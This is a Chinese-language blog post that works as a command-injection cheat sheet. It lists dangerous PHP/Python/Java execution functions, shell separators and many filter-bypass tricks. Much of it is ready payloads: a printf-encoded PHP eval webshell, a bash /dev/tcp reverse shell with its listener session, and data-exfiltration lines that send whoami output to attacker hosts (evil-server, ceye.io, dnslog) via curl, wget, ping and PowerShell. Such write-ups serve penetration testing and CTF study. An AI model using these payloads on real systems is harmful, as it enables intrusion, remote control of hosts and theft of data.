命令注入总结
John_Frod Lv4

命令注入总结

命令注入是通过易受攻击的应用程序在主机操作系统上执行任意命令。在此攻击中,攻击者提供的操作系统命令通常以易受攻击的应用程序的权限执行。 命令注入攻击很可能主要是由于输入验证不足。此攻击与代码注入不同,因为代码注入允许攻击者添加自己的代码,然后由应用程序执行。 在命令注入中,攻击者扩展了执行系统命令的应用程序的默认功能,而无需注入代码。


原理

当应用程序将不安全的用户提供的数据(表单,cookie,HTTP标头等)不经过检查过滤就传递给系统shell时,可能会发生命令注入攻击。


常见的危险函数

PHP

system

执行 command 参数所指定的命令, 并且输出执行结果。

1
system ( string $command , int &$return_var = ? ) : string

command:要执行的命令。

return_var:如果提供 return_var 参数, 则外部命令执行后的返回状态将会被设置到此变量中。

exec

执行 command 参数所指定的命令。

1
exec ( string $command , array &$output = ? , int &$return_var = ? ) : string

command:要执行的命令。

output:如果提供了 output 参数, 那么会用命令执行的输出填充此数组, 每行输出填充数组中的一个元素。

return_var:如果同时提供 outputreturn_var 参数, 命令执行后的返回状态会被写入到此变量。

passthru

执行 command 参数所指定的命令并且显示原始输出。

1
passthru ( string $command , int &$return_var = ? ) : void

command:要执行的命令。

return_var:如果提供 return_var 参数, Unix 命令的返回状态会被记录到此参数。

shell_exec

通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。

1
shell_exec ( string $cmd ) : string

cmd:要执行的命令。

popen

打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。

1
popen ( string $command , string $mode ) : resource

command:命令。

mode:模式。

proc_open

执行一个命令,并且打开用来输入/输出的文件指针。

1
proc_open ( string $cmd , array $descriptorspec , array &$pipes , string $cwd = null , array $env = null , array $other_options = null ) : resource

cmd:要执行的命令

descriptorspec:一个索引数组。 数组的键表示描述符,数组元素值表示 PHP 如何将这些描述符传送至子进程。 0 表示标准输入(stdin),1 表示标准输出(stdout),2 表示标准错误(stderr)。

pipes:将被置为索引数组, 其中的元素是被执行程序创建的管道对应到 PHP 这一端的文件指针。

cwd:要执行命令的初始工作目录。 必须是 绝对 路径, 设置此参数为 null 表示使用默认值(当前 PHP 进程的工作目录)。

env:要执行的命令所使用的环境变量。 设置此参数为 null 表示使用和当前 PHP 进程相同的环境变量。

other_options:你还可以指定一些附加选项。 目前支持的选项包括:

  • suppress_errors (仅用于 Windows 平台): 设置为 true 表示抑制本函数产生的错误。
  • bypass_shell (仅用于 Windows 平台): 设置为 true 表示绕过 cmd.exe shell。

反引号

PHP 支持一个执行运算符:反引号(``)。PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。效果和 shell_exec() 相同。


Python

system

1
system(command)

在子 shell 中执行命令(字符串)。在 Unix 上,返回值是进程的退出状态;在 Windows 上,返回值是运行 command 后系统 Shell 返回的值。

popen

1
popen(cmd, mode='r', buffering=-1)

打开一个管道,它通往 / 接受自命令 cmd。返回值是连接到管道的文件对象,根据 mode'r' (默认)还是 'w' 决定该对象可以读取还是写入。

subprocess.call/subprocess.run

1
subprocess.call(args, *, stdin=None, stdout=None, stderr=None, shell=False, cwd=None, timeout=None, **other_popen_kwargs)

运行由 args 所描述的命令。 等待命令完成,然后返回 returncode属性。

spawn

创建新进程以执行命令


Java

java.lang.Runtime.getRuntime().exec(command)


Linux下常用的符号

特殊符号

符号 说明
A;B A不论正确与否都会执行B命令
A&B A后台运行,A和B同时执行
A&&B A执行成功的时候才会执行B命令
A|B A执行的输出结果,作为B命令的参数,A不论正确与否都会执行B命令
A||B A执行失败后才会执行B命令
() 群指令组,用括号将一串连续指令括起来,执行的效果等同于多个独立的命令单独执行的效果。
(()) 用于算数运算’,与 let 指令相似
{} 拼接字符用法,{xx,yy,zz…}{aa,bb,cc…}得到xxaa,xxbb,xxcc,yyaa,yybb,yycc,zzaa,zzbb,zzcc…
[] 在流程控制中扮演判断式的作用;在正则表达式中担任类似 “范围” 或 “集合” 的角色。
[[ ]] 这组符号与先前的[] 符号,基本上作用相同,但她允许在其中直接使用`

通配符

字符 解释
* 匹配任意长度任意字符
? 匹配任意单个字符
[list] 匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合
[^list] 匹配指定范围外的任意单个字符或字符集合
[!list] [^list]
{str1,str2,…} 匹配 srt1 或者 srt2 或者更多字符串,也可以是集合
IFS 由 < space > 或 < tab > 或 < enter > 三者之一组成
CR 由 < enter > 产生
! 执行 history 中的命令

常用绕过

命令分隔与执行多条命令

  • 在Unix上:
1
2
3
4
5
6
7
8
%0a
%0d
;
&
|
$(shell_command)
`shell_command`
{shell_command,}
  • 在Windows上:
1
2
3
4
%0a
&
|
%1a - 一个神奇的角色,作为.bat文件中的命令分隔符

空格绕过

  • 使用<或者<>
1
2
cat<>flag
cat<flag
  • 使用IFS
1
2
3
cat$IFS$9/flag
cat${IFS}/flag
cat$IFS/flag
  • ​ 在url的编码绕过

  • 花括号拓展{OS_COMMAND,ARGUMENT}

1
cat,/etc/passwd
  • 变量控制
1
2
X=$'cat\x20/flag'&&$X
X=$'cat\x09/flag'&&$X

绕过 escapeshellcmd

  • win下执行bat

win下执行.bat文件的时候,利用%1a,可以绕过过滤执行命令

1
id=../ %1a whoami
  • 宽字节注入

php5.2.5及之前可以通过输入多字节来绕过。现在几乎见不到了。

1
escapeshellcmd("echo ".chr(0xc0).";id");

之后该语句会变成

1
echo 繺;id

从而实现 id 命令的注入。

黑名单绕过

PHP表示字符串方法

1
2
3
4
echo "foo";
echo (string)"bar";
echo (string)hello;
echo (world);
  • 拼接
1
2
a=c;b=at;c=flag;$a$b $c
(sy.(st).em)(whoami)
  • 利用已存在的资源

从已有的文件或者环境变量中获得相应的字符。

  • 编码
1
2
3
4
5
6
echo "Y2F0IGZsYWc="|base64 -d
echo "Y2F0IGZsYWc="|base64 -d|bash
(printf "\x63\x61\x74\x20\x66\x6c\x61\x67")

#可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
{printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
  • 单引号、双引号
1
2
c""at fl''ag
c'a't f'l'ag
  • 反斜线 \
1
c\at fl\ag
  • 通配符
1
2
3
4
5
/?in/?s => ls
cat fl[0-z]g
echo d{a,e,i,u,o}g => dag deg dig dug dog
echo {fl,fla}{ag,g} => flag flg flaag flag
echo fl{0..z}g => fl1g,fl2g,...,flyg,flzg
  • 未定义变量
1
cat$x /etc/passwd
  • 可变函数

获取内置函数 system 的索引后,直接执行

1
2
3
4
#1.先获取system函数的索引
php -r 'get_defined_functions();' | grep 'system'
#2.直接使用system函数执行
php -r get_defined_functions()[501](whoami)'
  • $@
1
2
c$@at fl$@ag
echo i$@d
  • 利用已经存在的资源
1
2
3
4
5
6
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
echo $PATH| cut -c 1
/
echo $PATH| cut -c 1-4
/usr
  • 字符数组

在 php 中可以用数组的形式取到字符串的每一个字符,这样我们就可以先定义一个包含所有需要的字符的字符串,然后通过下标取到字符再拼接的方式构造出我们需要的字符串。

1
2
# 相当于执行(system)(ls /tmp)
php -r '$a="elmsty/ ";($a[3].$a[5].$a[3].$a[4].$a[0].$a[2])($a[1].$a[3].$a[-1].$a[-2].tmp)'
  • 利用一些已有字符
    • ${PS2} 对应字符 >
    • ${PS4} 对应字符 +
    • ${IFS} 对应 内部字段分隔符
    • ${9} 对应 空字符串

字符数限制绕过

使用输出重定向>分步把要执行的命令输入到一个文件中,然后再通过sh执行这个文件

举例

短命令执行

首先按照前面的>的用法,我们可以知道有标准输出可以输出到文件

  1. 只用\分行输入,这个优点是可以不用考虑时间顺序,直接用ls>a输出到a文件
1
2
3
4
5
6
7
8
9
10
root@kali:~/Desktop# >ec\
> ho\
> \ 1
root@kali:~/Desktop# ls >a
root@kali:~/Desktop# cat a
a
echo 1
root@kali:~/Desktop# sh a
a: 1: a: not found
1

这里把echo 1作为字符串输出到桌面,再使用ls命令将桌面的内容储存到a文件中,再执行a文件的内容,输出1

  1. 使用\\,这种方法是利用\来拼接字符串,其中前一个\是用来转义后一个\的。这里需要考虑时间顺序,需要逆序来创建文件。
1
2
3
4
5
6
7
8
9
10
11
12
root@kali:~/Desktop# >\ 1\\
root@kali:~/Desktop# >ho\\
root@kali:~/Desktop# >ec\\
root@kali:~/Desktop# ls -t>a
root@kali:~/Desktop# cat a
a
ec\
ho\
1\
root@kali:~/Desktop# sh a
a: 1: a: not found
1
  • -t 将文件依建立时间之先后次序列出

无回显的命令注入

我们之前提到的大部分都是有回显或者一部分提示的命令注入,当我们遇到无回显的命令注入的时候我们又要怎么办呢?


sleep

  • 首先我们可以通过sleep命令根据返回的时间来判断是否存在命令执行漏洞。
1
?cmd=sleep 5

若存在命令执行则会等待5秒才返回响应。

image-20210329114110956

  • 使用sleep来进行盲注
1
sleep $(hostname | cut -c 1 |tr a 5)
  1. 我们执行的命令为hostname。我们假设它返回hacker。

  2. 它需要输出并将其传递给cut -c 1。这将选取hacker的第一个字符h。

  3. 接着通过tr命令将字符a替换为5。

  4. 然后将tr命令的输出传递给sleep命令,sleep h被执行将会立即出现报错,这是因为sleep后跟的参数只能为一个数字。然后,目标使用tr命令迭代字符。执行sleep $(hostname | cut -c 1 | tr h 5)命令,将需要5秒钟的时间。

这样我们就可以确定第一个字符是一个h。以此类推,我们就能将完整的主机名猜解出来。


DNSLog

无回显得命令执行语句可以使用DNSLog来查看结果。

  • window
1
ping %USERNAME%.t6n089.ceye.io

image-20210317113629877

  • *nix
1
ping -c 1 `whoami`.t6n089.ceye.io

image-20210317113750098

都可以看到我们的用户名显示在域名的最左边


反弹 shell

首先在自己的机器上开启监听端口:

1
nc -lvp 2333

然后在命令执行处输入:

1
bash -i >&/dev/tcp/ip地址/端口 0>&1

可以得到靶机的bash控制权:

1
2
3
4
5
6
7
8
9
10
11
12
root@kali:~# nc -lvp 4444
listening on [any] 4444 ...
192.168.91.143: inverse host lookup failed: Unknown host
connect to [192.168.91.128] from (UNKNOWN) [192.168.91.143] 34728
root@ubuntu18:/var/www/html# ls
ls
checksite
DVWA-master
index.html
phpmyadmin
test.php


HTTP外带

  • Linux
1
2
3
4
5
6
curl http://evil-server/$(whoami)
wget http://evil-server/$(whoami)
curl http://evil-server/`whoami`
curl xxxx.ceye.io/`whoami`
curl http://xxxx.ceye.io/$(id|base64)
ping -c 1 `whoami`.xxxx.ceye.io

image-20210324203716523

  • Window
1
2
3
4
5
6
7
http:
for /F %x in ('whoami') do start http://xxx.ceye.io/%x
dns请求:
获取计算机名:for /F "delims=" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
获取用户名:for /F "delims= tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info

for /F %x in ('whoami') do powershell $a=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('%x'));$b=New-Object System.Net.WebClient;$b.DownloadString('http://xxx.ceye.io/'+$a);

image-20210324205124046

image-20210324205511286


参考资料

PHP命令执行时的WAF&Filter绕过方法

巧用命令注入的N种方式

  • Post title:命令注入总结
  • Post author:John_Frod
  • Create time:2021-03-29 15:28:04
  • Post link:https://keep.xpoet.cn/2021/03/29/命令注入总结/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.